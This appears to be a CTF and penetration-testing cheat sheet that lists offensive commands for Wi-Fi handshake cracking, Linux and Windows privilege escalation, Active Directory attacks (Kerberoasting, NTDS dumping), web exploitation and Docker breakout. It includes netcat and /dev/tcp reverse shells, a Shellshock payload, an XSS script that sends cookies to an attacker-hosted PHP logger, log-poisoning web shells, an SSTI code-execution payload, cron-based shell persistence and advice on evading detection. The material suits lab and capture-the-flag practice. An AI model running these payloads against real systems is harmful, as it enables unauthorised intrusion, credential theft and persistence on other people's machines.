CTF-Writeups/Cheat Sheet.md

Wireless

To start with WPA2 Cracking make sure that your network interface is in monitor

ifconfig wlan0 down
iwfconfig wlan0 mode managed
ifconfig wlan0 up

Then run airmon-ng

airmon-ng check kill
airmon-ng start wlan0

To sniff different AP (Access Points)

airodump-ng wlan0

To start capturing traffic for a specific AP we use channel number -c and MAC address --bssid

airodump-ng -c CHANNEL_NUMBER --bssid MAC_ADDRESS wlan0

Now in order to capture the 4-way handshake we need to start the above command with a parameter -w so that the caputre file can be saved

airodump-ng -c CHANNEL_NUMBER --bssid MAC_ADDRESS -w FILENAME wlan0

Keep this running and launch the deauthentication attack on the AP with a specific host , you can do this to death all clients/host on the AP

aireplay-ng -0 0 -a MAC_ADDRESS -c HOST_NAME wlan0

When a client connects back to the host this will capture the handshake.To crack the password we need to use aircrack-ng

aircrack-ng FILENAME.cap -w path/towordlist/

When the passwords get cracked you can then go back to using managed mode on your network interface

sudo systemctl restart NetworkManager.service

Linux

Stablilize Shell

1. ctrl+z
2. stty raw -echo
3. fg (press enter x2)
4. export TERM=xterm , for using clear command

Ping for devices on LAN

1. netdiscover -i <interface>
2. arp-scan -l
3. fping -a -g <ip>/24
4. nmap -n -sP <ip>/24
5. for i in $(seq 1 254); do ping -c1 -t 1 192.168.168.$i; done

Spawn bash

• /usr/bin/script -qc /bin/bash 1&>/dev/null
• python -c 'import pty;pty.spawn("/bin/bash")'
• python3 -c 'import pty;pty.spawn("/bin/bash")'

Vulnerable sudo (ALL,!root)

sudo -u#-1 whoami
sudo -u#-1 <path_of_executable_as_other_user>

Execute as diffent user

sudo -u <user> <command>

FTP

Connect to ftp on the machine
ftp user <ip> After successfully logged in you can download all files with mget * Download files recusively
wget -r ftp://user:pass@<ip>/

SMB Shares

SmbClient

• smbclient -L \\\\<ip\\ listing all shares
• smbclient \\\\<ip>\\<share> accessing a share anonymously
• smbclient \\\\10.10.209.122\\<share> -U <share> accessing a share with an authorized user

Smbmap

• smbmap -u <username> -p <password> -H <ip>

Smbget

• smbget -R smb://<ip>/<share>

NFS shares

• showmount -e <ip> This lists the nfs shares
• mount -t nfs <ip>:/<share_name> <directory_where_to_mount> Mounting that share

Cronjobs

• cronjobs for specific users are stored in /var/spool/cron/cronjobs/
• crontab -u <user> -e Check cronjobs for a specific user
• crontab -l cronjob for the current user
• cat /etc/crontab system wide cronjobs

Finding Binaries

• find . - perm /4000 (user id uid)
• find . -perm /2000 (group id guid)

Finding File capabilites

getcap -r / 2>/dev/null

Finding text in a files

grep -rnw '/path/to/somewhere/' -e 'pattern'

Changing file attributes

chattr + i filename making file immutable
chattr -i filename making file mutable
lschattr filename Checking file attributes

Uploading Files

scp file/you/want user@ip:/path/to/store
python -m SimpleHTTPServer [port] By default will listen on 8000
python3 -m http.server [port] By default will listen on 8000

Downloading Files

wget http://<ip>:port/<file>

Netcat to download files from target

nc -l -p [port] > file Receive file
nc -w 3 [ip] [port] < file Send file

Cracaking Zip Archive

fcrackzip -u -D -p <path_to_wordlist> <archive.zip>

Decrypting PGP key

If you have asc key which can be used for PGP authentication then

• john key.asc > asc_hash
• john asc_hash --wordlists=path_to_wordlist

Having pgp cli

• pgp --import key.asc
• pgp --decrypt file.pgp

Having gpg cli

• gpg --import key.asc
• gpg --decrypt file.pgp

killing a running job in same shell

jobs

Find it's job number

$ jobs
[1]+  Running                 sleep 100 &

$ kill %1
[1]+  Terminated              sleep 100

SSH Port Forwarding

ssh -L <map_blocked_port>:localhost:<port_that_is_blockd_> <username>@<ip>

SSH Dynamic Port Forwarding

ssh username@ip -i id_rsa(optional) -D 1337

SSH auth log poisoning

Login as any user to see that it gets logged then try to login with a malicious php code

Port Forwarding using chisel

On attacker machine /chisel_1.7.6_linux_amd64 server -p <port to listen> --reverse On target machine ./chisel client <attacker>:<attacker_listening_port> R:localhost:<port to forward from target>

Poisining ssh auth log

ssh '<?php system($_GET['a']); ?>'@192.168.43.2

Then http://ip/page?a=whoami;

Getting root with ln (symlink)

If we have permissions to run /usr/bin/ln as root we can onw the machine

echo 'bash' > root
chmod +x root 
sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
sudo /usr/bin/ln

Escaping restricted Shell (rbash)

Using vi editor

: set shell =/bin/sh
: shell

Then setting the PATH variable

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Tar Exploitation

When ever you see a cronjob running with a command cd /<user>/andre/backup tar -zcf /<folder>/filetar.gz * go to that folder from which a backup is being created and running these command in that directory <br/ >

echo "mkfifo /tmp/lhennp; nc 10.2.54.209 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Binary Exploits

If there is a certain command running in a binary example date so we can create our own binary and add /bin/bash to and path so it gets executed
export PATH=<path_where_binary_is>/:$PATH

VNC

If there's a port 5901 or 5900 open it's likely that it's for VNC , if you see .remote_secret or .secret it's the password for connecting for vnc

vncviewer -passwd remote_secret <ip>::<port>

Decrpyting vnc password

We can also decrypt the password for vnc using https://github.com/jeroennijhof/vncpwd

./vncpwd remote_secret

Enumration

• cat /etc/*release
• cat /etc/issue
• uname -a
• lsb_release -a
• Running Linpeas
• ss -tulpn (for ports that are open on the machine)
• netstat -tulpn
• ps -ef --forest

Windows

Adding User

net user "USER_NAME" "PASS" /add

Changing User's password

net user "USER_NAME" "NEWPASS"

Adding User to Administrators

net localgroup administrators "USER_NAME" /add

Changing File Permissions

CACLS files /e /p {USERNAME}:{PERMISSION}
Permissions:
1.R Read
2.W Write
3.C Change
4.F Full Control

Set File bits

attrib +r filename add read only bit
attrib -r filename remove read only bit
attrib +h filename add hidden bit
attrib -h filename remove hidden bit

Show hidden file/folder

dir /a show all hidden files & folder
dir /a:d show only hidden folder
dir /a:h show only hidden files

Downloading Files

certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe
powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe
powershell Invoke-WebRequest -Uri $ip -OutFile $filepath

Enumeration

• Running winPEAS.exe on the machine
• Running PowerUp.ps1 (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) , documentation https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ . .\PowerUp.ps1 Then Invoke-AllChecks

AlwaysInstallElevated

If you see that reg query HKLM\Software\Policies\Microsoft\Windows\Installer returns 1 it means that we can install any windows program as SYSTEM So to exploit this generate a windows payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi
Start a netcat listener

Transfer and run this on target machine
msiexec /quiet /qn /i shell.msi

Alternatively this can be done with metaslpoit's post exploitation module

exploit/windows/local/always_install/elevated

List Drives

wmic logicaldisk get caption

Decrypting PSCredential Object

• $file = Import-Clixml -Path <path_to_file>
• $file.GetNetworkCredential().username
• $file.GetNetworkCredential().password

Evil-winrm

evil-winrm -i 10.10.213.169 -u <USER> -p '<PASS>'

Psexec.py

python psexec.py DOMAIN/USER:PASS@IP

Crackmapexec

Bruteforce Usernames using RID (Objects in AD)

crackmapexec <IP> -u 'Anonymous' -p ' ' --rid-brute

Privlege Escalation using SeImpersonatePrivilege

If this is enabled we can upload Printspoofer.exe and place it if we have rights

PrintSpoofer.exe -i -c powershell.exe

Becoming NT\AUTHORITY (If user is in local administrators group)

If the system has PsExec.exe open elevated cmd

.\PsExec.exe -i -s cmd.exe

Active Directory

powershell -ep bypass load a powershell shell with execution policy bypassed
. .\PowerView.ps1 import the PowerView module

Query Users through LDAP

windapsearch -d 'domain.local' --dc IP -m users

Gaining Infromation about AD Bloodhound

Using BloodHound Injester

python3 bloodhound.py -d 'DOMAIN_NAME' -u 'VALID_USERNAME' -p 'VALID_PASSWORD' -gc 'HOSTNAME.DOMAIN' -c all -ns IP

Import the json files in bloodhound GUI

Using Shraphound

• Upload Sharphound.ps1 (https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1)
• Then . .\Sharhound.ps1
• Invoke-Bloodhound -CollectionMethod All -Domain DOMAIN-NAME -ZipFileName loot.zip Domain name can be found by running Get-ADDomain and look for result
• This command will give an archive which you will have to simply drag and drop on the bloodhound GUI running on your local machine and then quries for kerberoastable accounts or getting more information

Kerberoasting Attack

Using Impacket GETNPUsers.py

If we see any kerberoastable service account through bloodhound we can get that account's hash through this impacket script

python3 GetNPUsers.py DOMAIN/USERNAME:PASSWORD -dc-ip IP -request

Using Rubeus

• Download rubeus https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe
• Documentation https://github.com/GhostPack/Rubeus
• Transfer rubeus.exe on targeted windows machine and run .\Rubeus.exe kerberoast /outfile:C:\temp\hash.txt to get a hash

Dumping NTDS.dit

If we find a user having DCsync rights or GetChangeAll privileges meaning to replicate AD secrets (NTDS.dit) we can dump NTDS.dit

python3 secretsdump.py 'DOMAIN/USERNAME':'PASSOWRD'@IP -just-dc-ntlm

Abusing Constrained/Unconstrained Delegations

https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/

https://github.com/dirkjanm/krbrelayx

FreeBSD

Enumeration

• The path for binaries is /usr/local/bin

Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc <ip> <port> > /tmp/f

Msfvenom

List All Payloads

msfvenom -l payloads

List Payload Format

msfvenom --list formats

Meterpreter

Adding user for RDP

run getgui -u [USER_NAME] -p [PASS]

Pivoting

use post/multi/manage/autoroute Example you are on a host with IP 172.18.0.1 set RHOSTS 172.18.0.0 set SESSION <session_number

Using socks4a proxy

use auxiliary/server/socks_proxy SET SOCKS 4a exploit

Edit the port if you want to by default the SRVPORT is set to 1080 , you can edit it on /etc/proxychains.conf

Port scan

use auxiliary/scanner/portscan/tcp set RHOSTS <subnet>/24

Port Forwarding

portfwd add -l <port_to_listen> -p <port_to_be_open> -r <targeted_ip

MSSQL Code Execution

Using use admin/mssql/mssql_exec we can execute code by specifying the credentials
Using sqsh -S IP -U <username> -P <password> then EXEC master ..xp_cmdshell 'whoami'

Git

Dumping repository

./gitdumper.sh <location_of_remote_or_local_repostiory_having./.git> <destination_folder>

Extracting information from repository

./extractor.sh <location_folder_having_.git_init> <extract_to_a_folder>

Web

Make sure to check for backup files

If you came across a php file , look for a .bak as well i.e config.php.bak

403 By pass

https://github.com/intrudir/403fuzzer

python3 403fuzzer.py -hc 403 -u http://<ip>/page_that_you_want_to_bypass(which is usally a 403 foribben)

Cgi-bin

If we find cgi-bin directory which exists on the web server it's good to fuzz for files in that directory and we find we can abuse this which is known as shell shock vulnerability to run bash commands on the web server through this application

Manually

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/IP/PORT 0>&1' http://Remote IP/cgi-bin/file

Using Metasploit

use multi/http/apache_mod_cgi_bash_env_exec

XSS to RCE

Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>

LFI/RFI

Try to read local files like log files ,apache virtual host configuration file source code on the target machine

Virutal Hosts file : /etc/apache2/sites-available/000-default.conf

If we can read log files,we can poison them to get RCE

SSTI (Server Side Template Injection)

Jinja2

Check for {{4*4}} on the url http://IP/{{4*4}} if it returns "16" as a result it is vulnerable to SSTI

Exploit {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

For Apache2

For apache /var/log/apache2/access.log try to access the log and if we can then add <?php system($_GET['c']); ?>in User-agent

For Niginx

For niginx /var/log/nginx/error.log try to access the log and if we can then add <?php system($_GET['c']); ?> in User-agent or try to add it in a file having a paramter make sure it's not being url encoded

XSS Session Hijacking

Have this php file hosted on your machine

<?php
        header ('Location:http://domain');

        if (isset($_GET["c"]))
        {
                $cookies = base64_decode(urldecode($_GET["c"]));
                $file = fopen('log.txt', 'a');
                fwrite($file, $cookies . "\n\n");
        }
?>

Run this script where you find web application is vulnerable to xss <script>document.location='http://<ip>/cookie.php?c='+encodeURIComponent(btoa(document.cookie));</script>

Alternatively run this <br/ >

https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md

SQL Map

sqlmap -r request.txt --dbms=mysql --dump

Wfuzz

wfuzz -c -z file,wordlist.txt --hh=0 http://<ip>/<path>/?date=FUZZ

If we want to use two payloads in the same request

wfuzz -c -w path/to/firs/wordlist -w /path/to/second/wordlist -u http://ip/FUZZ/FUZ2Z

This FUZ2Z will specify to use the second wordlist , we can do this upto FUZnZ (where n is number of the wordlist we specify)

API (Applicaton Programmable Interface)

• Check for possibility if there is a v1 , it is likely to be vulnerable to LFI
• Use wfuzz which is tool to fuzz for API end points or for parameter wfuzz -u http://<ip>:<port>/<api-endpoint>\?FUZZ\=.bash_history -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
  Here api-endpoint can be for example /api/v1/resources/books\?FUZZ\=.bash_history "?" is before the parameter and FUZZ is telling to find a parameter and we are looking for .bash_hitory as an example

Web Shell Bash

bash -c "<bash_rev_shell>"

Wordpress

using wpscan we can find users or do some further enumeration of wordpress version

• wpscan --url http://<ip>/wordpress -e u Enumerate Users
• wpscan --url http://<ip>/wordpress -e ap --plugins-detection aggressive Enumearte All plugins

To bruteforce passwords

• wpscan --url <ip> -U user_file_path -P password_file_path

After logging into the wordpress dashboard , we can edit theme's 404.php page with a php revershell http://<ip>/wordpress/wp-content/themes/twentytwenty/404.php

To get a RCE

• Goto Appearance -> Editor Select the 404.php template of the current theme and paste php reverse-shell.
• Then navigate to http://ip/wp-content/themes/twentyfifteen/404.php (theme name can be twentytwenty for the latest one)

Node JS

Prototype Pollution

PUG

{
    "key": "value",
    "__proto__.block": 
    {
        "type": "Text",
        "line": "test;return process.mainModule.constructor._load('fs').readdirSync('./', {encoding:'utf8', flag:'r'})",
        "val": "THIS IS THE VALUE"
    } 
}

Apache Tomcat

If we have access to /manager/html , we can upload a WAR payload (arz.war) and access it through http://ip/arz

Apache Tomcat used with nginx

If we nginx is being used as a reverse proxy to apache tom we can abuse it through Path Traversal Trough Reverse Proxy Mapping

https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

Wordlists

Directory Bruteforcing

• /usr/share/wordlists/dirb/big.txt
• /usr/share/wordlists/dirb/common.txt
• /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster

• gobuster dir -u http://<ip>/ -w <path_to_wordlist>
• gobuster dir -u http://<ip>/ -w <path_to_wordlist> -s "204,301,302,307,401,403" (use status code if 200 is configured to respond on the web server to every get request)

Feroxbuster

feroxbuster -u http://<ip>/ -w <path_to_wordlist>

Dirsearch

python3 dirsearch.py -u http://<ip>/ -w <path_to_text>

Credential Bruteforcing

• /usr/share/wordlists/rockyou.txt
• /usr/share/wordlists/fasstrackt.txt
• using crackstation
• using seclists

Hydra

When the login shows an error message

hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-post-form '/login.php:username=^USE R^&password=^PASS^:F=Incorrect!' -t 64 -V -I

When the login doesn't show an error message so we can specify a success (s) string which is shown after we login to a site , typically logout is shown to us.
hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-post-form '/login.php:username=^USE R^&password=^PASS^:S=logout' -t 64 -V -I

Hash Cracking

Hashcat

• If you have a salted hash and you know the salt to crack it hash:salt

Generating Worlists for directory brute force

Cewl

This spiders the given url and finding keyowrds then makes a wordlists through it's findings
cewl.rb <ip>

Cruch

If we want to generate a password list having length of 7 starting with "milo" and having 3 digit number at the end we can use % for numbers , @ for lowercase letters, , for uppercase letters and ^ for special characters

crunch 7 7 0123456789 -t milo%%% -o password.txt

DNS

Finding Subdomain

wfuzz -c -w <path_to_wordlist> -u 'http://domain.com -H "Host: FUZZ.domain.com"

Zone Transfer

If there is a port 53 open on the machine you could do a zone transfer to get information about DNS records

`dig axfr @ <domain_name>

King Of The Hill (KoTH)

Monitoring and Closing Shell (Linux)

• strace debugging / tamper with processes
• gbd c/c++ debugger
• script - records terminal activites
• w /who check current pts ,terminal device
• ps -t ps/pts-number process monitoring
• script /dev/pts/pts-number montior terminal
• cat /dev/urandom > /dev/pts/pts-number 2>/dev/null prints arbitary text on terminal
• pkill -9 -t pts/pts-number
• Add this in root's crontab (crontab -e)
  

*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'

Or you can add in system wide contab (nano /etc/crontab)

*/1 * * * *     root    /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'

Change SSH port

nano /etc/ssh/sshd_config (change PORT 22 to any port you want also you can tinker with configuration file) service sshd restart (Restart SSH service to apply changes)

Hide yourself from "w" or "who"

ssh user@ip -T This -T will have some limiations , that you cannot run bash and some other commands but is helpful.

Run Bash script on king.txt

while [ 1 ]; do /root/chattr -i king.txt; done &

Send messages to logged in users

• echo "msg" > /dev/pts/pts-number send message to specific user
  
• wall msg boradcast message to everyone
  

Closing Session (Windows)

• quser
• logoff id|user_name

LDAP

ldapsearch -x -LLL -h localhost -D 'cn=USER,ou=users,dc=domain,dc=com' -w PASSWORD -b "dc=domain,dc
=com"

Covering Track

11.11. Covering our Tracks

The final stages of penetration testing involve setting up persistence and covering our tracks. For today's material, we'll detail the later as this is not mentioned nearly enough.

During a pentesting engagement, you will want to try to avoid detection from the administrators & engineers of your client wherever within the permitted scope. Activities such as logging in, authentication and uploading/downloading files are logged by services and the system itself.

On Debian and Ubuntu, the majority of these are left within the "/var/log directory and often require administrative privileges to read and modify. Some log files of interest:

"/var/log/auth.log" (Attempted logins for SSH, changes too or logging in as system users:)

<img src="https://imgur.com/37aTxnI.png/>

"/var/log/syslog" (System events such as firewall alerts:)

<img src="https://imgur.com/k7scyUP.png/>
"/var/log/<service/" For example, the access logs of apache2 /var/log/apache2/access.log <img src="https://imgur.com/y8Rin3h.png/>

Docker

To see list of conatiner/images on a remote machine
docker -H <ip>:2375 images To see list of currently running images/conatiner on a remote machine
docker -H <ip>:2375 ps -a
To start a container from a remote machine
docker -H <ip>:2375 exec -it <container-id> /bin/sh
To start a container from a remote machine using name and tags
docker -H <ip>:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
Break out of docker container
docker -H tcp://<ip>:2375 run --rm -it -v /:/host <container_name> chroot /host bash
If docker.sock is on conatiner , upload static docker binary
./docker -H unix:///var/run/docker.sock images
./docker -H unix:///var/run/docker.sock run -it -v /:/host/ wordpress chroot /host

Docker Breakout/Exploits

• If we have a privilege docker and we can run command fdisk -l and view storage on the machine then we can mount the host file system
  

mount /dev/sda<x> /mnt/host

• We can look for container capabilites on docker with capsh --print and exploit it SYS_MODULE

https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

• There's another exploit realted to docker (CVE-2019-5736)

https://github.com/Frichetten/CVE-2019-5736-PoC

Kubernetes

Basic Commands

To get information of all pods which

kubectl get pods

To get infromation of namespaces which organize clusters

kubectl get namespaces

Get information of pods from a sepecfic namespace

kubectl get pods -n namespace

Get secrets

kubectl get secrets -n kube-system

Get information of secrets

kubectl describe secret <secret_name> -n <namespace_name>

Get information of pod

kubectl get -o json pod <pod_name> -n <namespace_name>

Creating Malicious Pods

https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

https://github.com/BishopFox/badPods